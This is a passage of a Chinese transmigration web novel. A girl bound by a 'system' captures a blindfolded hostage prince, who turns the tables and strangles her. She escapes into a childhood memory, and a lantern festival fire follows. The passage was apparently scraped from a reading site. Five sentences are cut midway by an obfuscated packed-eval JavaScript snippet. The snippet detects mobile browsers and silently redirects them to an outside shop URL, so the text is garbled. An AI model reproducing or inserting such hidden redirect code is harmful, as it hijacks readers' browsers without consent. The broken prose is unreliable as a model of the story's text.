视线重归清明。 趁着裴怀璟还在熟睡,她找到那条被他藏到身侧的麻绳,毫不犹豫给他的双手打起死结。 她这次换了个策略。 早晨与晌午,都买通了路边的乞丐,到百草堂送些简单的饭食,没让裴怀璟饿肚子。 心里盘算着,温晚笙推开房门。 少年依旧靠在床榻上,覆眼的红绸带子柔顺地垂落,衬得他像是被她...驯服了一般。 念头刚闪过,温晚笙暗自啐自己一口。 差点又被这副极具欺骗性的皮囊迷惑了。 她赶紧定神走上前去,将漆木食盒放在案上,胸有成竹道:“醒着呢吧?我来给你送晚饭了。” 她一边说着,一边打开食盒,露出里面虽然不是很精致,但味道一定没问题的几样点心。 “吃吃看。”她献宝似的拿起一块色泽温润的栗子糕,递到少年嘴边。 正所谓,生活已经够苦了,那就吃点甜的吧。 栗子糕、柿子饼、云片糕,都是寻常市井可见的式样。 但裴怀璟身在冷宫,不一定吃过。 裴怀璟微微倾身,就着她的手轻咬了一小口。 糕点入口的刹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857373|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那,红绸下那清隽的眉骨蹙了一下。 “怎么样,好吃吗?” 裴怀璟喉结微动,将过分甜腻的糕点缓缓咽下,“嗯。” 温晚笙立刻竖起耳朵,静待系统提示音,结果半点动静也没有。 她顿时咬紧后槽牙,“质子不喜欢就别勉强。” 她闻着都馋了,他居然像是在服毒一样。 她下意识将手里的糕点送到自己的嘴边,唇瓣刚触到软糯的边角,才想起来这是别人吃过的。 温晚笙讪讪把栗子糕放回碟中,若无其事地换了块柿子饼。 “尝尝这个,过了这个月可就吃不到了。” 少年顺从张口。 依旧无事发生。 温晚笙盯着他那张被红绸隐去大半的、看不出情绪的脸,邪火直冲头顶,攥紧拳头朝他挥过去。 拳风拂面,裴怀璟歪了歪头。 “二小姐?” 温晚笙淡定收回手,眼神在少年清瘦的锁骨停留片刻。 “唉,质子这么挑食,难怪这么瘦。”她咬牙切齿地说,“要多吃一点呀。” 系统提示裴怀璟苦日子过多了,所以自幼嗜甜。 可眼下他这难以下咽的模样,哪有半点喜欢。 裴怀璟恍若未觉少女言语间的嘲意,唇角微微一弯。 “有劳二小姐关怀。” 原来关怀,便是把人关起来。 温晚笙心头无端一凛,有种那双眼在透着红绸看她的错觉。 她下意识挪开眼神,恰恰触及他裸露的手腕。 好像绑得是有些紧了。 “我第一次做点心,要是不合你的口味,你放心说出来,”温晚笙语气刻意放软了些,带着点商量的意味,“我下次改进。” 她自顾自拿了块柿子饼。 明明软糯甘甜,好吃得很嘛。 “原来是二小姐亲手做的,”裴怀璟的声音清冽如玉石相击,“费心了。” 温晚笙眨了眨眼。 就这样? 一点都不感动吗? “质子喜欢吃就好。”温晚笙弯了弯嘴角,刻意强调。 明明知道不可能,但裴怀璟依旧问:“二小姐,今日可以放我走了吗?” 温晚笙没好气地瞪他一眼。 你以为是我不想让你走吗? 是系统,是任务,是不肯配合的你啊! 话堵在喉咙口,温晚笙一时气闷,捻了块随身携带的怡糖。 甜意冲淡心头的烦躁,她顺道扔了一块到少年被绑着的手里。 “吃完我就放你走。”她恶声恶气道。 裴怀璟手指一蜷。 少女却没有帮他的意思,只是冷眼看着他自己慢慢剥去糖纸,以极其困难的动作送入口中。 他神色间流露出一丝茫然,“望”向她,“这是什么?” 他还真是什么都没吃过。 温晚笙心里嘀咕,面上却笑嘻嘻解答:“怡糖。” 说完,她似是想起什么,忙不迭亲手喂了一颗给他。 指尖擦过微凉唇瓣。 两颗糖在他唇齿间相撞,熟悉又甜腻的味道冲上心头。 “好吃吗?” “好吃。” 【恭喜宿主,任务完成。】 【任务奖励:穿越时空的旅行。】 “什么意思?”温晚笙惊喜无比,“能回现代吗?” 19.第 19 章 温晚笙的兴奋并没持续多久,系统很快给出了回应。 【具体要宿主使用后才能知道。】 “没必要,真没必要,”温晚笙无语到了极点,不过心情不算差,“小八,你别忘了,我们是同一条船上的“人”!” 气氛再度沉寂。 裴怀璟安安静静地坐在原处,感受着唇齿间那一缕化不开的甜意。 半晌,他温和又礼貌地询问,“二小姐,现在可否兑现承诺?” “啊?”温晚笙眨了眨眼,什么承诺。 …哦,放他走啊。 “我当然会信守承诺,”她扬起眉梢,不满嘟囔道:“我向来说话算话,可不像你!” “嗯。” 温晚笙的目光游移至少年脸上的红绸,感慨一句:“原来你也喜欢吃饴糖。” 在现代的时候,她也很爱吃,所以没少被人吐槽是个老式小孩。 现在穿书了,随时摸一把糖的习惯还是没改掉。 不得不说,古代的饴糖味道真是正宗。 裴怀璟不语。 温晚笙悠哉悠哉吃了颗糖,就起身打算离开,只消出去后唤个小厮过来替他松绑。 这家伙和系统一样爱卖关子,要是早点坦白,她根本不用从早到晚这么折腾。 温晚笙心里美滋滋,嘴里甜蜜蜜,却在下一刻,蓦然僵在原地。 “你你你!” 喉间的糖差点卡在喉咙里。 少年的手腕空荡荡,只有深深浅浅的瘀痕,没有麻绳。 脚踝处亦然。 明明她完成任务的时候,他还好好被绑着呢。 就这么一会儿功夫,不会是他自己挣脱出来的吧。 难怪,难怪他看起来从从容容,还有…从头到尾都没提过要去茅房之类的要求。 她还以为纸片人没有世俗的欲望呢! 温晚笙死死盯着那张无辜的脸,越想越后怕,一点一点与他拉开距离。 昨天软骨散还没失效,而今天… 走到一半,耳边突然响起少年低缓的声音,语调温和,甚至带着似有若无的笑意。 “二小姐这是要走了么?” 糖在嘴里化开,温晚笙却感觉不到任何香味。 她飞速往后看了眼,他依旧安静坐在那。 那条红绸衬得他像是来索命的白衣男鬼。 也不知这人究竟有什么癖好,任由绸带遮眼,玩什么cosplay… 还口口声声要她信守承诺,自己分明已经行动自如。 “是啊,天色不早了。”她边说边蹑手蹑脚挪动,“我该回府了,你也早些回宫吧。” 裴怀璟的唇抿成一条笔直的弧度。 “嗯。” 温晚笙终于走到门边,暗暗松了口气。 看来他念在她给他带来好吃的份上,不会计较‘囚禁’的事。 指尖刚触到门扉,少年的声音又如薄雾般幽幽飘来。 “二小姐。” 不过是最平常不过的三个字,却让温晚笙心虚得一颗心扑通扑通狂跳。 “你的食盒还未带走。” 虚惊一场。 温晚笙拭了拭额边不存在的汗,和蔼可亲地说:“都是给你做的,你带回去慢慢吃吧。” 裴怀璟静默片刻,无声弯了弯唇,“多谢二小姐好意。” 温晚笙悬着的心落回肚子里,忙不迭道:“应该的,应该的。” 但下一瞬,她又觉得全身血液在倒流。 门怎么打不开? 她卯足了劲就想砸开,便在这时,腰间一紧。 低头一看,之前消失的麻绳缠上了她的腰身。没等她反应,一股巧妙的力道便将她往后拽。 温晚笙怎么解都解不开。 被牵引着,身不由己往后退,不偏不倚,回到了床榻前。 “说好的不会武功呢?”温晚笙欲哭无泪,一不小心将心里话脱口而出。 麻绳的一端牢牢缠在她腰间,而另一端不用猜也知道,正握在裴怀璟手里。 裴怀璟朝着少女的背影轻声道:“二小姐说的没错。” 随即手腕微动。 温晚笙被人向后一拉,小腿恰好抵住床沿,整个人跌坐在榻上。 她忙欲起身,双手忽地被绑了起来。 紧接着,眼前蓦然掠过一抹绯红。 红绸轻飘飘挡住了她的视线。 角色对调,温晚笙下意识攥紧被褥。 “怎、怎么了?” 绸带上还残留着他的余温,无端激起几分心悸。 裴怀璟一言不发,只将麻绳绕上她的脚踝,一圈又一圈。 温晚笙脑瓜子飞速转动。 突地,后颈一凉。 温晚笙浑身一颤,下意识想往前躲,却被那只手稳稳禁锢着。 “有话好好说啊!” 这个变态真的不会武功吗,这都是些什么奇怪招数。 裴怀璟五指慢慢收紧。 为什么都要跑呢? 猫是,她也是。 “是…是糕点不合你的口味?还是因为我绑了你?”温晚笙叽里咕噜一顿输出,想到哪句说哪句,“都是误会啊!绝对不会再有下次…” 裴怀璟感受着指腹下颈侧跳动的血脉。 少女清浅的发香瞬间萦绕而来,他静静凝着她的乌发。 掐后颈会掐死人吗? 察觉力道微松,温晚笙好声好气地劝说:“你先放开我,有什么事我们可以商量的嘛。” “二小姐不喜欢?” 他的声音几乎是贴着她的耳廓响起。 很轻,很痒。 温晚笙眼前一片暗红,其他感官愈发敏锐。 气息拂过时,细微的战栗自耳后一路蔓延至脊背。 “喜欢什么?”温晚笙紧紧绷着身子,心里有不好的预感。 裴怀璟眼睫微垂,似是在回忆着什么。 半晌,薄唇轻启,吐出两字: “极乐。” 当年他跪在雪地里问为什么时,她高高在上地说因为他生来卑贱。 还有,掌控他人生死,方为人间极乐。 只是可惜,他并无资格体会。 温晚笙要是知道他居然在‘学她’,一定打死都不承认,可惜她并不知道。 “质子,掐人可不是什么极乐,这是不对的。”温晚笙试图向前蛄蛹,“你有什么意见就好好说嘛,何必把我绑成这样呢?” 话一出口,她自己都有些心虚。 先动手绑人是她,现在却反过来教育他。 只是,颈后的钳制竟当真一松。 被迫仰得发酸的脑袋也终于松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864841|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懈下来。 虽然不说话,但他好像听进去了。 温晚笙再接再厉,故作轻松,“你说我们认识这么‘久’,也算是朋友了吧?你再不放我回家,我爹怕是要担心了…” 话音方落,一阵没来由的阴风骤然逼近。 下一刻,微凉的指节扼住她的咽喉。 呼吸骤然被截断,窒息感如潮水般涌上。 他居然正面掐她! 这可是真的会死人的。 温晚笙蒙眼的红绸下泛出生理性的泪珠,声音断断续续的,“呃…放…开…” 要不是手被绑着,她一定要把之前那一巴掌补回去。 裴怀璟凝视着她痛苦仰起的纤细颈脖,泛青的血管在苍白的肌肤下脆弱地搏动着。 一种近乎陌生的感觉在他血液中窜动。 他稍稍松劲,容她汲取一口空气,又在下一瞬施加压力,冷眼旁观她如同离水鱼儿般的挣扎。 温热的泪顺着眼角滑落,滴落在他手背上。 温晚笙灵魂出窍。 差点忘了这是个病娇,和他讲不了什么道理。 脖子上的力道一下松,一下紧的,再这样下去,她真的要死在他手里了。 在彻底绝望之前,她猛然想起一事。 “小八,快快快,我要使用刚刚的奖励!” 不管穿越时空去哪,先离开这个疯子再说。 系统这次很给力。 不出一秒,她眼前就换了个景象。 而裴怀璟看着少女脑袋一歪,像个断了线的傀儡一般,靠在他的掌心,一动不动。 他的呼吸微滞,下意识松手。 失去支撑的少女便宛若一片枯叶,软绵绵地瘫在床塌上。 晕了,还是…死了? 他蜷了蜷怀尚带少女余温的掌心,熟悉的躁意涌上心头。 他分明没有用尽全力。 * “公主,”丫鬟兴高采烈地跑上前,“您瞧奴婢找到了什么?” 楚怜芝正心不在焉地做课业,闻言抬起头,那双我见犹怜的柳叶眼里泛起光亮。 “雪团?”她右手一颤,毛笔“啪嗒”落在宣纸上,温柔如水的嗓音里掺着惊喜。 “是呢,奴婢方才在宫道上瞧见的,”丫鬟笑意盈盈,“雪团可算找回来了!” 楚怜芝顾不上其他,忙抱过婢女怀里的猫儿。 它通体雪白,碧眼如洗,确实与她的雪团一般无二。 “雪团?”她轻轻唤了一声。 白猫毫无反应,只是自顾自舔舐自己的毛发。 楚怜芝的指尖轻柔地抚过它的背脊,一遍又一遍,“为什么要跑呢,你可知我找了你多久?” 指间的力道不自觉地重了些许。 猫儿似乎感觉到威胁,忽地扭头,朝着女子的手背咬去。 她来不及躲避,疼得一声轻呼,下意识松手,猫儿便跌落在地。 丫鬟见那点点血珠,面露惧色:“公主,奴、奴婢这就去请太医!” 楚怜芝失神看着跑走的猫,心里那点不安愈发清晰。 再怎么像,终究不是他送给她的那只。 太医很快赶到,开了一通药膏,再三保证不会留疤,婢女才放他走。 “将这封信送到谢府。”楚怜芝垂眼看着手背的伤口,轻声道。 20.第 20 章 温晚笙看着自己缩小的双手,再看看四周拔高数倍的景物,新奇地原地跳了两下。 好久没这么轻盈过了。 “我变成小孩了?” 软糯的童音从唇间溢出,她自己都被那稚嫩的声音惊了一下。 别告诉她,让她变成另外一个人,就是所谓的穿越时空的旅行。 她原来那具身体,岂不是很有可能已经被裴怀璟掐死了? 还没来得及询问系统,不远处的一声厉呵骤然斩断她的思绪。 一位面容肃杀的老嬷嬷领着几个下人,气势汹汹地朝她冲来。 “小姐,皇宫重地,可不是您能乱跑的地方!公主正等着您陪她玩呢!” 温晚笙揉了揉耳朵,潜意识里就觉得那嬷嬷是个危险人物。 几乎是本能反应,她拎起裙摆转身就跑。 这具身体小巧灵活,拐进回廊,又绕过假山,就将追赶的声响远远甩开。 小小的身体大大的力量,跑了这么久,她气都不喘一下,就迫不及待打量起四周。 看来这里是皇宫。 估计她又变成了哪家小姐,也不知道这次是哪本小说。 风从耳畔呼啸而过,把人吹回现实。 萧瑟的寒风中,只有几颗梅树正凌寒盛放,但景色依旧宜人。 温晚笙冷得缩了缩肩膀,看着自己身上簇新的绯色斗篷,有点好奇自己现在长什么模样。 不远处恰好有座临水的小亭。 湖面要是没结冰,正好能照见人影。 抬步走近,却发现亭子已经被人占了。 几个穿着锦袍的半大男孩围成一圈,像是在玩什么游戏。 温晚笙正犹豫着要不要上前,就被刺耳的骂声止住了脚步。 “小野种,把你那玉佩交出来!” “就是,给我们看看怎么了?” 她定睛望去,只见人群中央,有个小男孩笔直跪在地上。 不过五六岁的模样,衣袍破旧得不成样子。 他死死抿着唇,不叫、不哭、也不辩解。 “看什么看,信不信我把你丢下去喂鱼!” 话罢,他们齐齐伸手,狠狠揪住男孩的衣领,就要把人拖到水边。 那男孩竟也不挣扎,只是垂着眼,紧紧攥着手里的东西。 显然,他们想抢人东西。 “住手!” 眼看男孩就要落水,温晚笙来不及多想,几乎是本能地冲到亭内,将人拽回来。 几个人被她这一撞弄得措手不及,推搡间,纷纷狼狈摔倒在地。 温晚笙手肘磕在石阶上,疼得龇牙咧嘴,却立刻爬起身,像母鸡护崽般张开双臂,将浑身是伤的孩子挡在自己身后。 她仰起脸,目光灼灼地扫过这群出身不凡的孩子。 “你们知道自己在做什么吗?” “你们爹娘就是这么教你们的?” 她半点没意识到,自己现在也是个五六岁的小奶娃,连身高都只到人家的肩膀,却一副大人训孩子的架势。 那群男孩一时被她的气势震住,迟疑片刻才站起来。 只有为首的少年一直站着。 紫衣跟班率先跳出来,指着她的鼻尖倨傲喝道:“大胆!你知道你骂的是谁吗?” “我管你是谁!”温晚笙毫不客气地撸起袖子,架势十足,“欺负人就是不对,小崽子们给他道歉!” “道歉?”蓝衣跟班紧接着叫嚣:“这等小野种,杀了便杀了,又能如何?” 温晚笙杏眼圆瞪。 小小年纪就这么残忍。 “人待会再杀,”为首的男孩忽然抬手制止了他们,唇角勾出一个玩味的弧度,“还是第一次...有人敢与本殿作对。” 温晚笙嘴角一阵抽搐。 什么中二病。 既然他们执迷不悟,那她就不废话了。 她猛地冲上前,小短腿快如闪电,一脚精准无比地踢向要命之处。 少年全然没有防备,当即痛得闷哼一声。 “殿下!” “殿下!” “滚!”少年捂着要害,额角青筋暴跳,看向温晚笙的眼神里只剩下戾气。 “给我杀了他们!” 两个跟班得令,立即举起双拳,可不管对方是不是粉雕玉琢的小姑娘。 温晚笙赶紧回头道:“孩子你快跑,我断后。” 反正迟早要回到现实。 而且她现在力气不小,不一定打不过。 一个拳头猛地砸来。 温晚笙侧身灵活躲开。 另一个跟班也扑上来,一拳直冲她的脑袋。 温晚笙侧身一滑,抓住短暂的空档,握拳,狠狠砸向蓝衣男孩的脸。 紧接着,她抬腿,一脚踹中紫衣跟班的肚子,把人踢得仰面倒地。 两人脸色青一阵白一阵。 他们是学过拳脚的,结果竟被一个糯米团子揍成这样? 殿下还看着呢。 他们立刻咬牙加力,攻势变得疯狂又狠烈。 两拳对四手,温晚笙渐渐有些吃力,动作开始乱,险些也要被踢到要害。 就在她快要招架不住时,一阵清清悠悠的萧声飘来。 清悦动人,却在婉转处陡然一转,透出几分突兀的激越。 似是警告。 紫衣男孩欲言又止,“殿下,是谢…” 蓝衣跟班脸色乍变:“殿下,若是让陛下知道了...” 少年面色阴沉,眼神扫过对面的两个人,终究嗤笑一声,拂袖转身。 虽不明白他们为什么突然停手,温晚笙还是不甘示弱地瞪了回去。 好女不吃眼前亏。 她累得够呛,一屁股坐到凉亭里的靠椅上,一边平复呼吸,一边回味自己的拳法。 “咦?”她忽然注意到什么,转过头,“你怎么还没走?” 小男孩仍站在原地,额角的血痕蜿蜒至下颌,脸颊上也有几处擦伤。 单薄的身影立在寒风里,看起来脆弱不堪。 小男孩抬起黑沉沉的眼,看向她渗血的手肘。 亭外隐约传来的萧声渐渐淡下去。 温晚笙没想到他开口的第一句话是: “你不该打他们的。” “为什么?”温晚笙皱起好看的眉头,语气里带着未消的愠怒,“他们不该打吗?” 小男孩沉默了。 他垂着眼,睫毛落下淡淡的影。 什么是该打,什么是不该打,他不知道。 他只知道,他们往后只会变本加厉。 温晚笙只觉得他被吓傻了,迈着小短腿到他面前,无奈又可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870576|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜。 “孩子,你住哪?我送你回家吧。” 反正闲着也是闲着。 “不必。” 温晚笙无所谓地耸耸肩。 只是看他脸上血污混着灰尘,实在有些看不下去,便伸手在衣袖里掏了掏。 还真让她找出一方浅粉色的手帕,边角绣着几朵小小的、认不出品种的花。 她将手帕递给他,指尖点了点自己脸颊对应的位置,“你先擦擦吧。” 小男孩犹豫半息,伸手接过。 见他开始擦拭脸上的伤痕,就算是一场梦,温晚笙心里有点不得劲。 “好好活下去。”她无意识开口。 小男孩忽地捏紧帕子。 “我们看着好像差不多大,”温晚笙眨了眨眼,“你叫什么名字呀?” 小男孩黑润润的瞳一眨不眨地盯着她,有一瞬间,她差点以为她不是个孩童。 “念安。” “念安?” “念安…” 床榻上,沉睡中的少女唇瓣跟着动了动。 裴怀璟眼里似乎划过一丝迷茫。 他不自觉俯身凑近,却再没听见任何呓语。 娘? 还是...念安。 【恭喜宿主,好感度到达20%】 * 金銮殿外,群臣陆续散去。 温升荣并未随着人流离开,反而鬼鬼祟祟走到一人身侧。 “谢大人,留步。” 被他叫住的男子放缓脚步。 “当真许久未见谢大人了。”温升荣拱手,暗暗打量,“谢大人身子可爽利些了?” 谢衡之一身深绯官袍,衬得整个人愈发清隽冷肃。 他稍稍颔首,眉宇间似凝着终年不化的霜雪,“有劳温国公挂心。” “如此便好,如此便好…”温升荣抚着胡须,声音压低了些,像是在做什么亏心事:“小女这两日在谢府借住,若有言行无状之处,还望谢大人海涵。” 谢衡之神色一顿,侧眸时,唇角略带了点弧度。 “温国公说笑了,舍妹同温二小姐兴趣相投,很是投缘。” 温国公圆润的脸下挤出双下巴,笑得不值钱,“那就好,那就好。” 看来女儿没闹出什么幺蛾子,去谢府小住当真是因为手帕交,而非为了接近谢衡之。 女儿的眼睛终于恢复正常了,他这个老父亲也算是真正放下心来。 他是百思不得其解。 这么一个沉默寡言的男子,缘何能引得京中那么多名门贵女趋之若鹜。 纵有潘安之貌,位极人臣之望,他也受不了日日面对这样的女婿! * “啊啊啊!” 温晚笙迷迷糊糊地睁开眼,又迷迷糊糊地撑着身子坐起来,被门口那道灰扑扑的人影吓得魂飞魄散,险些从榻上滚下去。 刘掌柜耳膜差点被刺穿,赶紧推开门,露出自己的脸。 “小姐,是老朽,您莫惊!” 他方才差点就推门而入,还好眼尖瞧见了里面的状况。 本该空无一人的百草堂里多出一个人来,着实也将他吓得不轻。 “刘掌柜,”温晚笙捂着心口,“您在这里做什么?” 刘掌柜忍俊不禁:“小姐,这话应该是老朽问您才是。” 21.第 21 章 “我昨晚来抓药,一不小心就睡着了。”温晚笙赶紧下床,自然地笑道,“您快进来说话吧。” 刘掌柜心中虽觉古怪,但见少女衣着整洁,并无半分避讳,只得压下疑虑,依言入内。 温晚笙岔开话头,“您今天怎么来了?” 提起此事,刘掌柜登时眉开眼笑:“小姐有所不知,官府已经下令,可以重新开张了,我便寻思早些过来归置归置。” 温晚笙的睡意一扫而空,抓住重点,“这么说,凶手已经落网了?” 这案子结的未免太快了些。 刘掌柜犹疑片刻,才讳莫如深地说:“也算是吧。” “刘掌柜可知是何人所为?” 想起昨晚的事,温晚笙不自觉摸了摸脖子。 刘掌柜神色微妙,“说来蹊跷,官府告示上说,竟是毒蜘蛛所致。” 温晚笙眉心猛地一跳,正要细问,刘掌柜却止住了话头。只道官府嘱咐街坊多备些雄黄粉,仔细提防虫蚁,以免再出祸端。 少女离开后,刘掌柜的目光在屋内角落一扫,尤其在床角处停了停,低声呢喃:“这才几日没打理,怎就结了这么多蛛网?” * 日子一晃,便到了正月十五。 暮色四合,朱雀街上一盏盏花灯亮起,竟比白昼更显辉煌明亮。 楚国素有元宵连赏五夜花灯的习俗,而今夜,正是灯火最盛、人潮最浓的一刻。 “二姐姐,五妹妹,”温若彤轻指了指不远处聚满人影的拱桥,温声提议,“我们去桥头猜灯谜可好?” 温晚笙懒洋洋打了个哈欠,精神略显萎靡。 之前被任务折腾得差点丢了小命,眼下好不容易对完了百草堂和凝香斋的账目,只想好好睡一觉。 “好,三姐姐。”温若芸性子最是温驯,含笑附和,“妹妹听说,今年的彩头非比寻常,是西域而来的夜明珠。” 温若彤自是知晓,已经暗自准备多时。 “二姐姐意下如何?”她挽上左手边神游的少女,语气亲昵又不失分寸。 温老夫人嘱咐过,她们姐妹三人要一起行动。 温晚笙今夜披了一件月白绣梅枝的斗篷,素雅清致,几乎不像她了。 温晚笙动动手臂,略感不自在:“可以,我没意见。” 这位三妹妹也是奇怪。 自从前些日子温承泽被罚跪抄写,并且扣了三个月的月例后,便时不时向她示好攀近。 她那位四弟为了能进国子监,将之前是如何鬼迷心窍,构陷于她的经过全盘托出。 温老夫人听后神色平静,温晚笙对此并不意外。 毕竟温老夫人偏心大房,是显而易见的事。 当然,要是处罚不到位,她肯定不会就此作罢。 姐妹三人各自只带了一名贴身丫鬟,一行人慢慢挤入人流中。 桥头一侧设着彩棚,谜签悬于灯下,微风轻拂,纸条翻飞。 温若彤是答得最快的,一连取下好几个灯谜,但到了第四个灯谜时,却迟疑了一会儿,才想出答案。 拿下纸条的瞬间,指尖与另一人的手指相撞上。 那人一身青衫,笑意疏朗。 四目相接,不过一瞬,却似万年。 温晚笙全然没注意到那边的暗流涌动,待看过几个灯谜后,发现自己的书都白读了。 别说什么头奖夜明珠了,就连一个普通的谜底,她都对不上啊! 她不信邪,将看过的灯谜又翻了一遍,终于找出一个漏网之鱼。 上面写着:狗猫像什么,打一成语。 温晚笙自信满满将手里唯一的纸条交给老板,说出答案:“如狼似虎。” 她还是比较擅长这种。 老板点点头,等着接下一张纸条,但温晚笙也一脸茫然地看着她,迟迟没动作。 “姑娘,可是就这一张?”老板是个三四十岁的妇人,语气里满是温柔与耐心。 温晚笙点了点头。 “姑娘要不再去选一张?”老板好心解释道,“咱们这起码得猜中两张,才能兑奖呢。” 温晚笙心里确实有一点点失落,却不想再自取其辱了,好歹曾经也是个三好学生。 “好吧,那我认输。” 老板哭笑不得,这姑娘看着出身不凡,怎么连两张灯谜都猜不对。 眼看温晚笙耷拉着耳朵,准备默默离开,老板于心不忍地喊住她:“姑娘且慢。” “看姑娘猜了这么久也不容易,”老板不知从哪拿出一个精美的兔子灯,“这是给姑娘的安慰奖。” 温晚笙看着被塞到自己手里的小兔子,一脸惊喜。 失望过后得到的东西,总会让人更加珍惜。 “谢谢老板!”她笑得像是月光下盛开的花,明亮又真诚:“祝您生意兴隆,财源滚滚,越来越有钱!” 老板被她的反应逗笑,也笑得见牙不见眼,连声道好。 温晚笙提着兔子灯,连带着脚步都轻快雀跃了些,站到一旁等待。 她的两个妹妹此刻对灯谜对得不亦乐乎,似乎对头彩势在必得,她自然不好扫兴打扰。 “秋香,我们去逛逛吧。”她实在是站不住,兴冲冲提议。 秋香笑着应了声好。 于是,温晚笙便拉着她,先去买了一对糖人,一人一只举在手里,边走边吃。 她这里看看,那里瞧瞧,忽地,鼻尖皱了皱。 好奇异的香气,浓烈又不呛人,丝丝缕缕勾得人心痒痒。 “秋香,你有没有闻到什么特别的香味?”温晚笙左嗅嗅,右嗅嗅。 秋香迷茫摇头,表示自己除了糖人的甜香,旁的什么也没闻见。 温晚笙像着魔了一般,循着气味一个个摊子寻过去,没多久,就在一处偏僻的摊位前停住脚步。 这摊子小巧,却别有风格。 一排排似乎都是从苗疆带来的稀罕物件,有香囊、玉佩、兽骨饰品、奇花异草等。 比起周围的热闹,这儿实在冷清了些。 摊主是个年岁已高的老妇人,穿着传统苗疆服饰,并不招揽往来客人。 ”婆婆,这花怎么卖?”温晚笙目光锁定摆在最里头的花,俯身笑道:“好香啊,我想买一盆。” 老妇人原本半阖着眼,口中不知在念叨着什么。 听见这话,她猛然睁开眼,神色古怪:“姑娘竟能闻到此花的香?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16874979|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温晚笙愣了愣,旋即点点头。 她看向那个黝黑的陶盆。 细长的花茎蜿蜒舒展,顶端花蕾微张,将开未开。闭合的花瓣边缘泛着一层紫晕,在周遭灯火的映照下,那紫光竟似隐隐流动,恍若活物。 老妇人捧起花盆,声音低缓如自语:“此乃灵蛊花,生于苗疆深谷,一夜开,一夜谢。”她顿了顿,眼神凝重,“若以心血滋养,可救人于垂危之际。” 温晚笙眨了眨眼,听得似懂非懂。 一盆花怎么可能能救人? 不过待到绽放时,摆在窗前定会十分赏心悦目。 于是,她弯了弯眼,“婆婆,我就要这一盆,多少钱呀?” 老妇人沉吟片刻,“它于姑娘有缘,不要钱。” 温晚笙着实一愣,“这怎么能行?” “灵蛊花通人性,识宿缘,”老妇人抬起浑浊的眼,像在追忆往昔。 能闻见此花香气者,便是它认定的主人 言罢,她郑重地将花盆交给少女。 温晚笙迟疑着接过。 指尖触及花瓣时,一股细微的酥麻从掌心滑过。 她还想说些什么,却见老妇人又闭上了眼,气息沉静如入定。 无奈之下,她只能让秋香在摊前留下一两碎银,心中感慨今夜遇到的怎么都是好人。 秋香主动接过少女手里的花盆,闻了闻,什么香味都没有。 眼看时辰不早,两人便原路返回。 温晚笙提着兔子灯回到彩棚,人流依旧密集,却不见两个妹妹。 灯谜被灯吹得猎猎作响,发出哗哗声。 忽然,彩棚一角的灯笼被掀翻,火星落在绸布上。 下一瞬,‘嘭’地一声窜起火舌。 绛红的火焰沿着棚布极速蔓延,顷刻间吞噬了半边天幕。 谁也没料到这场突如其来的灾祸,棚下乱作一团。 温晚笙被推搡奔逃的人流冲得失去方向,看不到秋香的身影,也有些慌乱起来。 祸不单行,她的肩头被人狠狠一撞,连带着脚踝一扭,钻心的疼让她眼前发黑。 整个人摔了个狗吃屎。 兔子灯脱手滚出几步,在地上打着旋儿,停在一盏断裂的花灯旁。 人群从她身边涌过,生死攸关之下,谁也顾不上谁。 少女雪白的狐绒沾满尘土和灰烬,好生狼狈。 脚踝像是断了一般,温晚笙怎么也爬不起来。 片刻后,她放弃挣扎。 说不准死了就能回家呢。 熊熊烈火下,花灯节更显壮观。 此情此景,她脑海里闪过一首诗: 东风夜放花千树,更吹落、星如雨。 知识还没完全还给老师嘛。 就是这么戏剧性地,火光尽头,她与一人四目相对。 他一身素衣,墨发半散,火光将那张脸映得不似红尘中人。 灼热的灰烬扑面而来,她恍惚看见他往她的方向迈步。 求生欲促使她开口:“救...” 剩下的那个字却梗住。 少年的目光掠过她。 她眼睁睁看着,他奔向另一个女子。 22.第 22 章 少年步疾如风,却终究迟了一步。 那浅粉身影已被一名白衣男子扶起。 从她的角度望过去,男子的轮廓被光描得朦胧,却依旧能看出挺拔如松的身姿。 熟人扎堆了属于是。 